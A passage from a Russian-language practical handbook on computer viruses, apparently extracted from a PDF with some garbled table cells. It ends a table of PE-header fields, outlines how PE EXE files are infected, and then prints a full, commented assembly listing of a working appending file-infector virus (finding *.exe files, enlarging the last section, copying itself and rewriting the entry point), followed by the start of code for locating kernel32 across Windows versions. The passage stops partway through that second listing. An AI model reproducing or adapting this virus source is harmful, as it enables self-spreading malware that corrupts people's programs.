Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
|
|
191 |
||
|
|
|
|
|
|
|
|
|
|
Продолжение описания полей PE-заголовка |
|
|
|
|
|
|
|
Смеще- |
Размер |
Èìÿ ïîëÿ |
Êîì. |
|
Краткое описание |
íèå |
èëè òèï |
|
|||
|
|
|
|
||
|
|
|
|
|
|
8Ch |
DWord |
Resource Data |
Íåò |
|
размер таблицы ресурсов |
Size |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
90h |
DWord |
Exception |
Íåò |
|
RVA адрес таблицы исключений |
Table RVA |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
94h |
DWord |
Exception |
Íåò |
|
Размер таблицы исключений |
Data Size |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
98h |
DWord |
Security Table |
Íåò |
|
? адрес таблицы безопасности |
RVA |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
9Ch |
DWord |
Security Data |
Íåò |
|
? размер таблицы безопасности |
Size |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
A0h |
DWord |
Fix Up's Table |
Íåò |
|
RVA адрес таблицы настроек |
RVA |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
A4h |
DWord |
Fix Up's Data |
Íåò |
|
Размер таблицы настроек |
Size |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
A8h |
DWord |
Debug Table |
Íåò |
|
RVA адрес таблицы отладочной информа- |
RVA |
|
öèè |
|||
|
|
|
|
||
|
|
|
|
|
|
ACh |
DWord |
Debug Data |
Íåò |
|
Размер таблицы отладочной информации |
Size |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
B0h |
DWord |
Image Descrip- |
Íåò |
|
RVA адрес строки описани модуля |
tion RVA |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
B4h |
DWord |
Description |
Íåò |
|
Размер строки описания модуля |
Data Size |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
B8h |
DWord |
Machine |
Íåò |
|
? адрес таблицы значений, специфичных |
Specific RVA |
|
для микропроцессора |
|||
|
|
|
|
||
|
|
|
|
|
|
BCh |
DWord |
Machnine |
Íåò |
|
? размер таблицы значений, специфичных |
Data Size |
|
для микропроцессора |
|||
|
|
|
|
||
|
|
|
|
|
|
C0h |
DWord |
TLS RVA |
Íåò |
|
Указатель на локальную область данных |
|
цепочек |
||||
|
|
|
|
|
|
|
|
|
|
|
|
C4h |
DWord |
TLS Data Size |
Íåò |
|
Размер области данных цепочек |
|
|
|
|
|
|
C8h |
DWord |
Load Config |
Íåò |
|
? |
RVA |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
CCh |
DWord |
Load Config |
Íåò |
|
? |
Data Size |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
D0h |
08h |
Reserved |
Íåò |
|
? |
|
|
|
|
|
|
|
|
|
|
|
|
192 |
|
|
|
|
|
Windows вирусы |
|
|
|
|
|
|
|
||
|
|
|
|
|
Продолжение описания полей PE-заголовка |
||
|
|
|
|
|
|
|
|
Смеще- |
|
Размер |
Èìÿ ïîëÿ |
Êîì. |
|
Краткое описание |
|
íèå |
|
èëè òèï |
|
|
|||
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
? мною это поле обнаружено только в муль- |
|
|
|
|
|
|
|
тимедийных файлах системы |
Windows'95, |
|
|
|
|
|
|
ýòî SNDREC32, CDPLAYER, |
MPLAYER. |
D8h |
|
DWord |
IAT RVA |
Íåò |
|
Оно указывает на таблицу адресов импорта |
|
|
|
в файле (помимо структуры импорта). Пи- |
|||||
|
|
|
|
|
|
||
|
|
|
|
|
|
сал эти программы один человек, и чего он |
|
|
|
|
|
|
|
хотел, не ясно. Используется в NT, в Win- |
|
|
|
|
|
|
|
dows'95, судя по всему, нет |
|
|
|
|
|
|
|
|
|
DCh |
|
DWord |
IAT Data Size |
Íåò |
|
? размер описанного поля |
|
|
|
|
|
|
|
|
|
E0h |
|
08h |
Reserved |
Íåò |
|
? |
|
|
|
|
|
|
|
|
|
E8h |
|
08h |
Reserved |
Íåò |
|
? |
|
|
|
|
|
|
|
|
|
F0h |
|
08h |
Reserved |
Íåò |
|
? |
|
|
|
|
|
|
|
|
|
|
Total Structure size |
F8h |
|
Общий размер заголовка |
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Как видно из структуры PE заголовка, он довольно большой. Для того чтобы его модифицировать для передачи управления на вирусное тело, придется гораздо больше поработать, чем при инфицировании DOS EXE файла.
Общая схема самого распространенного способа инфицирования PE EXE выглядит следующим образом:
1)найти файл;
2)проверить, если он заражен, то на шаг 7;
3)прочитать первые байты и проверить, чтобы это был EXE (первые байты должны быть «MZ»), и PE (по смещению [3ch] от начала должны быть байты «PE»);
4)прочитать PE заголовок;
5)модифицировать его и записать обратно в файл;
6)дописать тело вируса в конец программы;
7)искать следующий файл. Если файлов больше нет, то на шаг 8;
8)конец программы.
Это лишь схема заражения. В вирусе после инфицирования могут быть проявления деструктивные или недеструктивные. Вирус должен вернуть управление оригинальной программе (носителю).
Программы в формате PE (Portable Executable) рассчитаны на работу в третьем кольце (ring-3). Данные программы работают через KERNEl32.dll и другие библиотеки. Kernel32 экспортирует различные функции, которые используют PE программы (эти функции являются частью набора функций WIN32 API). Для использования данных функций программы их импортируют. При написании WIN32 программ ни о каких экспортах и импортах можно не беспокоиться, этим займется компоновщик14.
14 Для компиляторов TASM и MASM, возможно, понадобится подключение специализированных библиотек (например, win32.lib ) и DEF-файлов. Они поставляются в стандартной компоновке этих компиляторов. — Ïðèì. ðåä.
Windows вирусы |
193 |
|
|
Однако при написании вирусов, которым для размножения тоже нужны WIN API, уже придется что-то думать. Представьте себе ситуацию: ифицирована программа, которая импортирует только одну функцию ExitProcess. А вирусу нужно еще множество других, таких как WriteFile,CreatFileA,... В этом случае вирус не будет работать в инфицированной программе.
Простейшим выходом из такой ситуации будет вычислить адреса необходимых функций и записать их в тело вируса, затем вызывать эти функции напрямую. Но в этом методе есть один большой недостаток: данные адреса будут постоянными для одной операционной системы, к примеру, Windows 95, а для другой совсем отличные. К примеру, Windows XP. Но они также будут различны в разных релизах. Поэтому при написании такого вируса нужно помнить, что он будет работать только под ОС, для которой он был разработан. Возникает вопрос, как же получить эти адреса функций? Можно их получить при помощи отладчика, но мы пойдем другим путем. Для их получения можно использовать либо уже готовую утилиту getproc.exe, которая написана jqwerty и включена в второй номер вирусного электронного издания 29A, либо можно написать эту утилиту самим, что гораздо предпочтительнее. Этим мы сейчас и займемся. Данная утилита довольно проста, и для ее написания мне понадобилась буквально пара минут.
Рассмотрим листинг:
//--------------------------------------------- |
|
|
#include |
"windows.h" |
|
#include |
"stdio.h" |
|
main(int argc, char *argv[]) |
|
|
{ |
|
|
HMODULE hnd1; |
// |
|
FARPROC a; |
// Данные, необходимые для работы программы |
|
char |
*name1; |
// |
char |
*modul1; |
// |
printf("Usage GETADDR <module> <API function>\n"); // Вывод сообщения об использовании // утилиты
if (argc < 3) |
// |
{ |
// Если запущены без параметров, то выведем адреса |
name1="GetProcAddress"; |
// KERNEL32 и WIN API функции GetProcAddress |
modul1="KERNEL32"; |
// |
} |
// |
else |
// Если запущены с параметрами, то выведем по запросу |
{ |
// пользователя |
name1=argv[2]; |
|
modul1=argv[1]; |
|
} |
|
hnd1=GetModuleHandle(modul1); |
// Получаем адрес модуля |
a=GetProcAddress(hnd1,name1); |
// Получаем адрес WIN API функции |
printf("Module=[%s] Address=%xh\n",modul1,hnd1); // Выводим оба |
|
printf("Function=[%s] Address=%xh\n",name1,a); // адреса |
|
return(0); |
// Выход из программы |
}
//---------------------------------------------
194 |
Windows вирусы |
|
|
Ну вот, утилита написана. Теперь можно приступать к разработке вируса. Следует рассмотреть, как выглядит файл до инфицирования и после:
а) до инфицирования:
б) после инфицирования:
Рассмотрим листинг:
;----------------------------------------------
.386
.model flat
; Функция, необходимая для запуска вируса после компоновки
extrn |
ExitProcess:PROC |
|
.data |
|
; Вирус расположен в области данных |
start: |
|
|
;---------------------------------------------- |
|
|
call |
delta |
; |
delta: |
|
; Получаем дельта-смещение |
pop |
ebp |
; |
sub |
ebp,offset delta |
; |
mov eax, dword ptr [ebp + offset oldip] |
; Восстанавливаем старую точку |
|
add eax, dword ptr [ebp + offset imagebase] ; и виртуальный адрес начала |
||
|
|
; программы |
push eax |
; Положим eax в стек |
|
pushad |
; Сохраняем все регистры |
|
lea |
eax,dword ptr[ebp+find_file] |
; |
push |
eax |
; Заполняем параметры |
lea |
eax,dword ptr[ebp+mask1] |
; и вызываем функцию |
push |
eax |
; FindFirstFileA |
lea |
eax,dword ptr[ebp+FindFirstFileA] |
; |
call |
[eax] |
; |
cmp |
EAX, -1 |
; Если файлов нет, |
je |
End_it |
; тогда выходим. |
mov |
[ebp+Fhandle],eax |
; Сохраняем хэндл поиска |
inf1: |
|
|
mov ecx, dword ptr [ebp + find_file + 20h] |
; ecx = filesize |
|
mov [ebp + offset filesize], ecx |
; Сохраняем размер файла |
|
Windows вирусы |
|
195 |
|
|
|
|
|
add ecx, finish - start + 1000h |
|
; filesize + virus |
|
mov [ebp + offset memory], ecx |
|
; +workspace=memory |
|
call |
infect |
|
|
f_next: |
|
|
|
call |
Fnext |
|
|
cmp |
eax,0 |
|
; 0 Файлы закончились |
jne |
inf1 |
|
|
push dword ptr [ebp+Fhandle] |
|
; |
|
lea eax,dword ptr[ebp+FindClose] |
|
; Закрытие поиска |
|
call [eax] |
|
; |
|
;---------------------------------------------- |
|
||
End_it: |
|
|
|
popad |
|
|
; Восстанавливаем все регистры |
ret |
|
|
; Отдаем управление носителю |
;---------------------------------------------- |
|
||
infect: |
|
|
|
lea esi, [ebp + find_file + 2ch] |
|
; esi = имени файла |
|
OpenFile: |
|
|
|
push |
0 |
|
|
push |
00000080h |
|
|
push |
3 |
|
|
push |
0 |
|
|
push |
00000001h OR 00000002h |
|
|
push |
40000000h OR 80000000h |
|
|
push |
esi |
|
|
lea |
eax,[ebp+CreateFileA] |
|
; Открытие файла |
call |
[eax] |
|
; для чтения/записи |
mov [ebp + offset fHnd], eax |
|
; Сохранение хэндла файла |
|
cmp eax, -1 |
|
|
|
je InfectionError |
|
|
|
;---------------------------------------------- |
|
||
CreateFileMapping: |
|
|
|
|
|
|
; выделяем память |
push 0 |
|
; имя файла хэндл = 0 |
|
push dword ptr [ebp+ offset memory] |
; максимальный размер = memory |
||
push 0 |
|
; минимальный размер = 0 |
|
push 4 |
|
; доступ чтение/запись |
|
push 0 |
|
; |
|
push dword ptr [ebp + offset fHnd] |
|
|
|
lea eax, [ebp + offset CreateFileMappingA] |
|||
call [eax] |
; eax = хэндл |
||
mov [ebp + offset mHnd], eax |
|
|
|
or eax, eax |
|
|
|
jz CloseFile |
|
|
|
MapViewOfFile1: |
|
|
|
push dword ptr [ebp + offset memory] |
; количество памяти для работы |
||
push 0 |
|
; |
|
push 0 |
|
; |
|
196 |
|
Windows вирусы |
|
|
|
push 2 |
|
; Режим записи |
push eax |
|
; хэндл |
lea eax, |
[ebp + offset MapViewOfFile] |
; Вызываем функцию |
call [eax] |
|
|
or eax, eax |
|
|
jz CloseMap |
|
|
mov esi, |
eax |
; |
mov [ebp + offset mapaddress], esi |
; Сохраняем базу памяти |
|
DoSomeChecks: |
|
|
cmp word ptr [esi], 'ZM' |
; Ýòî EXE ôàéë? |
|
jne UnmapView |
|
|
cmp word ptr [esi + 38h], 'nf' |
; Уже зараженный файл? |
|
je UnmapView |
|
|
OkGo: |
|
|
mov ebx, dword ptr [esi + 3ch] |
|
|
cmp ebx, 200h |
|
|
ja UnmapView |
|
|
add ebx, esi |
|
|
cmp word ptr [ebx], 'EP' |
; Ýòî PE ôàéë? |
|
jne UnmapView |
|
|
mov [ebp + offset PEheader], ebx mov esi, ebx
mov eax, [esi + 28h]
mov [ebp + offset oldip], eax
mov eax, [esi + 34h]
mov [ebp + offset imagebase], eax
;----------------------------------------------
LocateBeginOfLastSection:
mov ebx, |
[esi + 74h] |
shl ebx, |
3 |
xor eax, |
eax |
mov ax, word ptr [esi + 6h] dec eax
mov ecx, 28h mul ecx
add esi, 78h add esi, ebx add esi, eax
ChangeLastSectionHeader:
;сохраняем PE заголовок
;Сохраняем старую точку
;входа (ip)
;Сохраняем
;виртуальный адрес
;начала программы
;
;
;Количество объектов
;(нам нужен последний-
;заголовок секции)
;* размер заголовка
;Теперь esi указывает на
;начало последнего заголовка
;секции
or dword |
ptr [esi + 24h], 00000020h or 20000000h or 80000000h |
|
NewPhysicalSize: |
|
|
mov eax, |
dword ptr [esi+10h] |
; Старый физический размер |
add eax, |
finish-start |
|
mov dword ptr [esi+10h], eax |
; Сохраняем его |
|
Windows вирусы |
197 |
|
|
VirtualSizeCheck:
mov edi, dword ptr [esi + 8h] cmp eax, edi
jge NewVirtualSize VirtualSizeIsVirtual:
add edi, finish-start mov eax, edi
NewVirtualSize:
mov ecx, [ebp + offset PEheader] mov ecx, [ecx + 38h]
div ecx inc eax mul ecx
mov [esi + 8h], eax NewAlignedImageSize:
mov eax, dword ptr [esi + 0ch] add eax, dword ptr [esi + 8h] mov [ebp+ imagesize], eax
;Получаем старый
;виртуальный размер
;и выравниваем
;Сохраняем новое значение
;Получаем виртуальное смещение
;+ новый виртуальный размер
;= новый виртуальный размер
NewAlignedFileSize: |
|
|
|
mov eax, |
dword ptr [esi+10h] |
; Получаем новый |
|
|
|
; физический размер |
|
add eax, dword ptr [esi + 14h] |
; Добавляем смещение |
||
|
|
; физического |
|
mov [ebp + offset filesize], eax |
; размера = размер файла |
||
CalculateNewIp: |
|
|
|
mov eax, dword ptr [esi+10h] |
; Новый физический размер |
||
add eax, dword ptr [esi + 0ch] |
; + виртуальное смещение |
||
sub eax, finish-start |
; - размер вируса |
||
mov [ebp |
+ newip], eax |
; новая точка входа |
|
CopyVirusToEndOfFile: |
|
|
|
mov edi, dword ptr [esi+10h] |
; Новый физический размер |
||
sub edi, |
finish-start |
|
|
add edi, |
[ebp + offset mapaddress] |
; mapaddress |
|
add edi, [esi + 14h] |
; Добавляем смещение |
||
|
|
; потоковых данных |
|
lea esi, [ebp + start] |
; Копируем вирус |
||
mov ecx, (finish-start)/4 + 4 |
|
|
|
cld |
|
|
|
rep movsd |
|
|
|
UpdatePEHeaderWithChanges: |
|
|
|
mov esi, dword ptr [ebp + offset mapaddress] |
|
||
mov word ptr [esi + 38h], 'nf' |
|
; Устанавливаем метку |
|
mov esi, dword ptr [ebp + offset PEheader] |
; инфицированности |
||
mov eax, dword ptr [ebp + offset newip] |
|
|
|
mov [esi + 28h], eax |
; Устанавливаем новую точку |
||
198 |
Windows вирусы |
|
|
mov eax, [ebp + offset imagesize] |
; входа |
mov [esi + 50h], eax |
; Устанавливаем новый |
|
; виртуальный размер |
UnmapView: |
|
push dword ptr [ebp + offset mapaddress] |
; |
lea eax, [ebp + UnmapViewOfFile] |
; Заканчиваем изменение файла |
call [eax] |
; в памяти и кладем его обратно |
CloseMap: |
|
push dword ptr [ebp + offset mHnd] |
; |
lea eax, [ebp + CloseHandle] |
; Закрываем хэндл |
call [eax] |
; |
push 0 |
|
push 0 |
|
push dword ptr [ebp + offset filesize] |
; |
push dword ptr [ebp + offset fHnd] |
; Переходим в конец файла |
lea eax, [ebp + offset SetFilePointer] |
; |
call [eax] |
|
push dword ptr [ebp + offset fHnd] |
; |
lea eax, [ebp + offset SetEndOfFile] |
; Устанавливаем символ конца |
call [eax] |
; файла |
;---------------------------------------------- |
|
CloseFile: |
|
push dword ptr [ebp + offset fHnd] lea eax, [ebp + offset CloseHandle] call [eax]
InfectionError: |
|
|
ret |
|
|
;---------------------------------------------- |
|
|
Fnext: |
|
|
lea |
eax,[ebp+offset find_file] |
|
push |
eax |
|
push |
dword ptr[ebp+Fhandle] |
|
lea |
eax,[ebp+offset+FindNextFileA] |
|
call |
[eax] |
|
ret |
|
|
;---------------------------------------------- |
|
|
mask1 |
db |
'*.exe',0 |
FindFirstFileA |
Dd |
077E75D9EH |
FindNextFileA |
Dd |
077E75E67H |
CreateFileA |
Dd |
077E7A837H |
_llseek |
Dd |
077E6E4FDH |
WriteFile |
Dd |
077E79D8CH |
CloseHandle |
Dd |
077E77963H |
UnmapViewOfFile |
Dd |
077E75090H |
SetFilePointer |
Dd |
077E78C81H |
SetEndOfFile |
Dd |
077E70192H |
;
;Закрываем файл
;Выходим из процедуры
;
;
;Процедура поиска следующего
;файла
;
;
; Маска для поиска
;
;
;
;Вычисленные адреса WIN API
;функций при помощи нашей
;программы
;
;
;
Windows вирусы |
|
199 |
|
|
|
|
|
CreateFileMappingA Dd |
077E77797H |
; |
|
MapViewOfFile |
Dd |
077E74D76H |
; |
FindClose |
Dd |
077E78EAAH |
; |
oldip |
dd |
offset Exit1 |
; Для первого поколения вируса |
|
|
|
; необходимо это смещение |
imagebase |
dd |
0h |
; |
finish: |
|
|
|
find_file |
db |
313 dup(?) |
;Здесь идут данные, которые в |
size2read |
dd |
0h |
; тело вируса не входят |
fHnd |
dd |
0h |
; |
mHnd |
dd |
0h |
; |
memory |
dd |
0h |
; |
mapaddress |
dd |
0h |
; |
PEheader |
dd |
0h |
|
filesize |
dd |
0h |
|
imagesize |
dd |
0h |
|
newip |
dd |
0h |
|
Fhandle |
dd |
0h |
|
;---------------------------------------------- |
|
|
|
.code |
|
|
|
Exit1: |
|
|
|
push 0 |
|
|
; Сюда передается управление |
call ExitProcess |
|
; в первом поколении вируса |
|
;---------------------------------------------- |
|
|
|
end |
start |
|
|
;---------------------------------------------- |
|
|
|
Представленный выше вирус увеличивает размер файла, дописывая свое тело к последней секции файла, перед этим соответственно увеличив ее длину.
Данный вирус можно модифицировать под любую операционную систему семейства Windows, но если он написан под Windows XP и запустить его на Windows 95 — работать он не будет. Поэтому сейчас мы избавимся от этого недостатка.
Сначала необходимо разобраться, из-за чего данный вирус не может так же эффективно работать на других операционных системах, кроме как на той, для которой он был разработан. Дело в том, что адреса функций KERNEL32.DLL на разных операционных системах разные, и если мы обращаемся по тому же адресу в другой операционной системе, то соответственно мы не попадем в нужную функцию, и программа работать не будет. В нашей программе, написанной на C++, мы использовали функцию GetProcAddress, на вход которой передавали адрес KERNEL32. Следовательно, чтобы он эффективно работал на всех операционных системах семейства Windows, нам необходимо, чтобы наш вирус находил адрес KERNEL32, а потом и адрес функции GetProcAddress. А затем при вызовах различных функций перед передачей им управления, мы с помощью функции GetProcAddress будем вычислять их настоящий адрес. Таким образом, наш вирус гордо сможет именоваться WIN32.
Перейдем к листингу.
200 |
Windows вирусы |
|
|
;---------------------------------------------- |
|
.486p |
|
.model flat |
|
extrn ExitProcess:proc |
|
.data |
|
virus: |
|
mov ebx,[esp] |
; Возьмем из стека адрес |
|
; Kernel'a |
xor bx,bx |
; и найдем его начало |
next_block: |
|
cmp word ptr [ebx],'ZM' |
; Начало? |
je found_MZ |
; ÄÀ! |
sub ebx,1000h |
; Ищем дальше |
jmp next_block |
|
found_MZ: |
|
mov edx,ebx |
; Сохраним указатель |
mov edi,dword ptr [ebx+3Ch] |
; Адрес PE заголовка |
add edi,edx |
; +адрес kernel'a |
cmp word ptr [edi],'EP' |
; Проверка на PE |
jne Exit |
; Не равно - выходим |
mov 4 ptr [KernelAddr],edx |
; Сохраним базовый адрес |
|
; kernel'a |
Exit: |
; Сюда мы попадаем когда или |
|
; нашли адрес kernel'a, |
jmp fin |
; или не нашли |
KernelAddr dd 0 |
; Здесь будет храниться |
|
; адрес kernel'a |
.code |
; Кодовая секция |
start: |
|
jmp virus |
; Переходим на наш код |
fin: |
|
push 0 |
; А сюда управление |
|
; попадет, когда |
call ExitProcess |
; мы будем завершать программу |
end start |
|
;---------------------------------------------- |
|
Данная программа находит адрес kernel'a. Как вы уже, наверное, догадались, он для каждой операционной системы разный.
Теперь нам необходимо обнаружить адрес функции GetProcAddress. Модифицируем программу поиска kernel'a так, чтобы она еще искала адрес функции GetProcAddress.
Перейдем к листингу:
;----------------------------------------------
.486p
.model flat
extrn ExitProcess:proc
.data |
|
virus: |
|
mov ebx,[esp] |
; Возьмем из стека адрес |
